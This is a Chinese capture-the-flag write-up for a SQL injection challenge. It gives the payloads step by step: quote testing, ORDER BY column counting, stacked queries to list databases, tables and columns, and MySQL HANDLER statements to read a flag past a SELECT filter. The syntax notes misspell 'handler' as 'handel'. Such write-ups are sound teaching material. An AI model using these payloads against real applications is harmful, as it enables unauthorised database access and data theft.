根据题目可知这是一道sql注入题。
首先进行单引号判断,选择用burpsuite的repeater重发,方便改注入语句。
所用语句
' #图一
1' and '1'='1 #图2
根据报错信息看出就是单引号闭合的字符型注入,继续爆列数。
1' order by 1 #回显正常
1' order by 2 #回显正常
1' order by 3 #报错,说明有两列
然后就是爆库名字段名了
首先尝试联合查询
-1' union select 1,2 --+
发现select被过滤了,尝试堆叠注入。
-1';show databases --+
查看表的信息
-1';show tables --+
不知道flag在哪个表里,都看看。
-1';show columns from words;--+
-1';show columns from `1919810931114514`;--+
注意这里查名为数字的表要加反引号
发现flag在数字的表里
由于select被禁用,我们不能用select命令查询flag的值了,因此需要找别的方法。
此处介绍handler,这条语句是一行一行的浏览一个表中的数据。
使用方法:
handler table_name open打开一张表
handel table_name read first读取第一行内容,
handel table_name read next依次获取其它行
最后一行执行之后再执行handel table_name read next会返回一个空的结果。
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#